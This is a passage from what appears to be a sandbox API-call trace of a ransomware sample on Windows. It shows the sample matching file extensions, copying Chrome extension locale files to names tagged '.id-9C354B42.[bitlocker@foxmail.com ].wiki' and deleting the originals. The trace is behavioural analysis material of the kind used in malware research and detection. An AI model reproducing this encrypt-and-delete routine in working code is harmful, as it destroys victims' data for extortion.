(lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.459] lstrlenW (lpString=".1cd") returned 4 [0173.459] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.459] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.459] lstrlenW (lpString=".jpg") returned 4 [0173.459] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.459] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.459] lstrlenW (lpString="messages.json") returned 13 [0173.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.459] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=206) returned 1 [0173.459] CloseHandle (hObject=0x19c) returned 1 [0173.460] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json")) returned 0x2020 [0173.460] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.460] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.460] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.460] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.460] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.460] GetLastError () returned 0x0 [0173.460] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xce, lpOverlapped=0x0) returned 1 [0173.461] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0173.462] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.462] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.637] SetEndOfFile (hFile=0x1a0) returned 1 [0173.637] CloseHandle (hObject=0x1a0) returned 1 [0173.637] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.637] SetEndOfFile (hFile=0x19c) returned 1 [0173.638] CloseHandle (hObject=0x19c) returned 1 [0173.638] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.638] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json")) returned 1 [0173.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.638] lstrlenW (lpString=".doc") returned 4 [0173.638] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.638] lstrlenW (lpString=".docx") returned 5 [0173.638] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.638] lstrlenW (lpString=".pdf") returned 4 [0173.638] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.639] lstrlenW (lpString=".xls") returned 4 [0173.639] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.639] lstrlenW (lpString=".xlsx") returned 5 [0173.639] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.639] lstrlenW (lpString=".ppt") returned 4 [0173.639] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.639] lstrlenW (lpString=".zip") returned 4 [0173.639] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.639] lstrlenW (lpString=".rar") returned 4 [0173.639] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.639] lstrlenW (lpString=".bz2") returned 4 [0173.639] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.639] lstrlenW (lpString=".7z") returned 3 [0173.639] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.639] lstrlenW (lpString=".dbf") returned 4 [0173.639] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.639] lstrlenW (lpString=".1cd") returned 4 [0173.639] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.639] lstrlenW (lpString=".jpg") returned 4 [0173.639] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.639] lstrlenW (lpString=".doc") returned 4 [0173.639] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.639] lstrlenW (lpString=".docx") returned 5 [0173.640] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.640] lstrlenW (lpString=".pdf") returned 4 [0173.640] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.640] lstrlenW (lpString=".xls") returned 4 [0173.640] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.640] lstrlenW (lpString=".xlsx") returned 5 [0173.640] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.640] lstrlenW (lpString=".ppt") returned 4 [0173.640] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.640] lstrlenW (lpString=".zip") returned 4 [0173.640] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.640] lstrlenW (lpString=".rar") returned 4 [0173.640] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.640] lstrlenW (lpString=".bz2") returned 4 [0173.640] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.640] lstrlenW (lpString=".7z") returned 3 [0173.640] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.640] lstrlenW (lpString=".dbf") returned 4 [0173.640] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.640] lstrlenW (lpString=".1cd") returned 4 [0173.640] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0173.640] lstrlenW (lpString=".jpg") returned 4 [0173.640] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.641] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.641] lstrlenW (lpString="messages.json") returned 13 [0173.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.641] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=329) returned 1 [0173.641] CloseHandle (hObject=0x19c) returned 1 [0173.641] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json")) returned 0x2020 [0173.641] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.642] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.642] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.642] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.642] GetLastError () returned 0x0 [0173.642] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x149, lpOverlapped=0x0) returned 1 [0173.643] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x150, lpOverlapped=0x0) returned 1 [0173.644] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.644] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.644] SetEndOfFile (hFile=0x1a0) returned 1 [0173.644] CloseHandle (hObject=0x1a0) returned 1 [0173.645] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.645] SetEndOfFile (hFile=0x19c) returned 1 [0173.645] CloseHandle (hObject=0x19c) returned 1 [0173.645] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.646] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json")) returned 1 [0173.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.648] lstrlenW (lpString=".doc") returned 4 [0173.648] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.648] lstrlenW (lpString=".docx") returned 5 [0173.648] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.648] lstrlenW (lpString=".pdf") returned 4 [0173.649] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.649] lstrlenW (lpString=".xls") returned 4 [0173.649] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.649] lstrlenW (lpString=".xlsx") returned 5 [0173.649] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.649] lstrlenW (lpString=".ppt") returned 4 [0173.649] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.649] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.649] lstrlenW (lpString=".zip") returned 4 [0173.649] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.649] lstrlenW (lpString=".rar") returned 4 [0173.649] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.649] lstrlenW (lpString=".bz2") returned 4 [0173.649] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.649] lstrlenW (lpString=".7z") returned 3 [0173.649] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.649] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.649] lstrlenW (lpString=".dbf") returned 4 [0173.649] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.649] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.649] lstrlenW (lpString=".1cd") returned 4 [0173.649] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.649] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.649] lstrlenW (lpString=".jpg") returned 4 [0173.649] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.649] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.650] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.650] lstrlenW (lpString=".doc") returned 4 [0173.650] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.650] lstrlenW (lpString=".docx") returned 5 [0173.650] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.650] lstrlenW (lpString=".pdf") returned 4 [0173.650] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.650] lstrlenW (lpString=".xls") returned 4 [0173.650] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.650] lstrlenW (lpString=".xlsx") returned 5 [0173.650] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.650] lstrlenW (lpString=".ppt") returned 4 [0173.650] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.650] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.650] lstrlenW (lpString=".zip") returned 4 [0173.650] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.650] lstrlenW (lpString=".rar") returned 4 [0173.650] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.650] lstrlenW (lpString=".bz2") returned 4 [0173.650] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.650] lstrlenW (lpString=".7z") returned 3 [0173.650] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.650] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.650] lstrlenW (lpString=".dbf") returned 4 [0173.650] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.650] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.650] lstrlenW (lpString=".1cd") returned 4 [0173.650] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.650] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 152 [0173.650] lstrlenW (lpString=".jpg") returned 4 [0173.651] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.651] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.651] lstrlenW (lpString="messages.json") returned 13 [0173.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.651] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=249) returned 1 [0173.651] CloseHandle (hObject=0x19c) returned 1 [0173.651] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json")) returned 0x2020 [0173.651] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.652] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.652] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.652] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.652] GetLastError () returned 0x0 [0173.652] ReadFile (in: hFile=0x19c, 